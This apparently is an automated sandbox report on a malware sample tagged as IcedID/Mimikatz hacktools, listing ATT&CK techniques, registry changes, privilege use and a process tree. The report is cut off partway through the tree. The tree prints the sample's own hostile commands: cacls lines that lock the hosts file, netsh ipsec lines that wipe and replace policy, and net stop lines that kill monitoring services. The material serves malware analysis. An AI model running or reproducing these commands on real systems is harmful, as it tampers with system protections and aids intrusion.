Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

net.execmd.exesc.exehjrtlerqg.exefbyqtdq.exenet.exenet.execmd.exenetsh.exexohudmc.execacls.exenet1.exenetsh.exenetsh.execacls.exenet.exenet.execmd.exenet1.exesc.execmd.exeschtasks.exeschtasks.exenetsh.exenet1.exenet.execmd.execmd.exenetsh.execmd.exenet1.execmd.exenetsh.exenetsh.exePING.EXEfbyqtdq.execmd.execmd.exenet1.execmd.exeschtasks.execmd.exenetsh.execmd.exewpcap.exenetsh.execmd.execmd.execmd.exenet1.execmd.exenetsh.exenetsh.exenetsh.exenet1.execmd.execmd.execacls.exenetsh.exenetsh.exenetsh.exenet.exenspfoo.exenet1.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hjrtlerqg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fbyqtdq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fbyqtdq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nspfoo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

PING.EXEcmd.exe

pid	Process
3740	PING.EXE
4432	cmd.exe

NSIS installer 3 IoCs

installer

Processes:

resource	yara_rule
behavioral2/files/0x000b000000023baa-6.dat	nsis_installer_2
behavioral2/files/0x0009000000023c0a-15.dat	nsis_installer_1
behavioral2/files/0x0009000000023c0a-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 39 IoCs

Processes:

ysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exefbyqtdq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	fbyqtdq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	fbyqtdq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	fbyqtdq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	fbyqtdq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	fbyqtdq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	fbyqtdq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	ysyinnueq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	ysyinnueq.exe

Modifies registry class 14 IoCs

Processes:

fbyqtdq.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	fbyqtdq.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
3740	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
3804	schtasks.exe
4064	schtasks.exe
996	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

fbyqtdq.exe

pid	Process
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe

Suspicious behavior: LoadsDriver 15 IoCs

Processes:

pid	Process
660
660
660
660
660
660
660
660
660
660
660
660
660
660
660

Suspicious behavior: RenamesItself 1 IoCs

Processes:

2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe

pid	Process
3988	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

Processes:

2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exefbyqtdq.exefbyqtdq.exevfshost.exeysyinnueq.exehiukvr.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exe

description	pid	Process
Token: SeDebugPrivilege	3988	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	1976	fbyqtdq.exe
Token: SeDebugPrivilege	808	fbyqtdq.exe
Token: SeDebugPrivilege	5056	vfshost.exe
Token: SeDebugPrivilege	4900	ysyinnueq.exe
Token: SeLockMemoryPrivilege	2344	hiukvr.exe
Token: SeLockMemoryPrivilege	2344	hiukvr.exe
Token: SeDebugPrivilege	3948	ysyinnueq.exe
Token: SeDebugPrivilege	2936	ysyinnueq.exe
Token: SeDebugPrivilege	4584	ysyinnueq.exe
Token: SeDebugPrivilege	1208	ysyinnueq.exe
Token: SeDebugPrivilege	4768	ysyinnueq.exe
Token: SeDebugPrivilege	1072	ysyinnueq.exe
Token: SeDebugPrivilege	4148	ysyinnueq.exe
Token: SeDebugPrivilege	4160	ysyinnueq.exe
Token: SeDebugPrivilege	4244	ysyinnueq.exe
Token: SeDebugPrivilege	4620	ysyinnueq.exe
Token: SeDebugPrivilege	2568	ysyinnueq.exe
Token: SeDebugPrivilege	2696	ysyinnueq.exe
Token: SeDebugPrivilege	2524	ysyinnueq.exe
Token: SeDebugPrivilege	1500	ysyinnueq.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exefbyqtdq.exefbyqtdq.exexohudmc.exenspfoo.exefbyqtdq.exefbyqtdq.exe

pid	Process
3988	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe
3988	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe
1976	fbyqtdq.exe
1976	fbyqtdq.exe
808	fbyqtdq.exe
808	fbyqtdq.exe
3132	xohudmc.exe
628	nspfoo.exe
5036	fbyqtdq.exe
5036	fbyqtdq.exe
1080	fbyqtdq.exe
1080	fbyqtdq.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.execmd.exefbyqtdq.execmd.execmd.exewpcap.exenet.exenet.exenet.exe

description	pid	Process	procid_target
PID 3988 wrote to memory of 4432	3988	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe	85
PID 3988 wrote to memory of 4432	3988	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe	85
PID 3988 wrote to memory of 4432	3988	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe	85
PID 4432 wrote to memory of 3740	4432	cmd.exe	87
PID 4432 wrote to memory of 3740	4432	cmd.exe	87
PID 4432 wrote to memory of 3740	4432	cmd.exe	87
PID 4432 wrote to memory of 1976	4432	cmd.exe	89
PID 4432 wrote to memory of 1976	4432	cmd.exe	89
PID 4432 wrote to memory of 1976	4432	cmd.exe	89
PID 808 wrote to memory of 3812	808	fbyqtdq.exe	91
PID 808 wrote to memory of 3812	808	fbyqtdq.exe	91
PID 808 wrote to memory of 3812	808	fbyqtdq.exe	91
PID 3812 wrote to memory of 4132	3812	cmd.exe	93
PID 3812 wrote to memory of 4132	3812	cmd.exe	93
PID 3812 wrote to memory of 4132	3812	cmd.exe	93
PID 3812 wrote to memory of 3228	3812	cmd.exe	94
PID 3812 wrote to memory of 3228	3812	cmd.exe	94
PID 3812 wrote to memory of 3228	3812	cmd.exe	94
PID 3812 wrote to memory of 2224	3812	cmd.exe	95
PID 3812 wrote to memory of 2224	3812	cmd.exe	95
PID 3812 wrote to memory of 2224	3812	cmd.exe	95
PID 3812 wrote to memory of 4644	3812	cmd.exe	96
PID 3812 wrote to memory of 4644	3812	cmd.exe	96
PID 3812 wrote to memory of 4644	3812	cmd.exe	96
PID 3812 wrote to memory of 1296	3812	cmd.exe	98
PID 3812 wrote to memory of 1296	3812	cmd.exe	98
PID 3812 wrote to memory of 1296	3812	cmd.exe	98
PID 3812 wrote to memory of 632	3812	cmd.exe	99
PID 3812 wrote to memory of 632	3812	cmd.exe	99
PID 3812 wrote to memory of 632	3812	cmd.exe	99
PID 808 wrote to memory of 4200	808	fbyqtdq.exe	100
PID 808 wrote to memory of 4200	808	fbyqtdq.exe	100
PID 808 wrote to memory of 4200	808	fbyqtdq.exe	100
PID 808 wrote to memory of 2796	808	fbyqtdq.exe	102
PID 808 wrote to memory of 2796	808	fbyqtdq.exe	102
PID 808 wrote to memory of 2796	808	fbyqtdq.exe	102
PID 808 wrote to memory of 4600	808	fbyqtdq.exe	104
PID 808 wrote to memory of 4600	808	fbyqtdq.exe	104
PID 808 wrote to memory of 4600	808	fbyqtdq.exe	104
PID 808 wrote to memory of 4368	808	fbyqtdq.exe	110
PID 808 wrote to memory of 4368	808	fbyqtdq.exe	110
PID 808 wrote to memory of 4368	808	fbyqtdq.exe	110
PID 4368 wrote to memory of 2004	4368	cmd.exe	112
PID 4368 wrote to memory of 2004	4368	cmd.exe	112
PID 4368 wrote to memory of 2004	4368	cmd.exe	112
PID 2004 wrote to memory of 3212	2004	wpcap.exe	113
PID 2004 wrote to memory of 3212	2004	wpcap.exe	113
PID 2004 wrote to memory of 3212	2004	wpcap.exe	113
PID 3212 wrote to memory of 4424	3212	net.exe	115
PID 3212 wrote to memory of 4424	3212	net.exe	115
PID 3212 wrote to memory of 4424	3212	net.exe	115
PID 2004 wrote to memory of 2204	2004	wpcap.exe	116
PID 2004 wrote to memory of 2204	2004	wpcap.exe	116
PID 2004 wrote to memory of 2204	2004	wpcap.exe	116
PID 2204 wrote to memory of 3404	2204	net.exe	118
PID 2204 wrote to memory of 3404	2204	net.exe	118
PID 2204 wrote to memory of 3404	2204	net.exe	118
PID 2004 wrote to memory of 244	2004	wpcap.exe	119
PID 2004 wrote to memory of 244	2004	wpcap.exe	119
PID 2004 wrote to memory of 244	2004	wpcap.exe	119
PID 2004 wrote to memory of 4696	2004	wpcap.exe	122
PID 2004 wrote to memory of 4696	2004	wpcap.exe	122
PID 2004 wrote to memory of 4696	2004	wpcap.exe	122
PID 4696 wrote to memory of 4584	4696	net.exe	124

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1872
- C:\Windows\TEMP\genjjusrl\hiukvr.exe
  "C:\Windows\TEMP\genjjusrl\hiukvr.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2344

C:\Users\Admin\AppData\Local\Temp\2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3988
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tpizqeql\fbyqtdq.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4432
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3740
- - C:\Windows\tpizqeql\fbyqtdq.exe
    C:\Windows\tpizqeql\fbyqtdq.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1976

C:\Windows\tpizqeql\fbyqtdq.exe
C:\Windows\tpizqeql\fbyqtdq.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4132
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2224
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1296
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:632
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4200
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2796
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4600
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\iefblqiiz\bsvlqulnj\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4368
- - C:\Windows\iefblqiiz\bsvlqulnj\wpcap.exe
    C:\Windows\iefblqiiz\bsvlqulnj\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2004
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3212
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4424
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2204
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3404
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
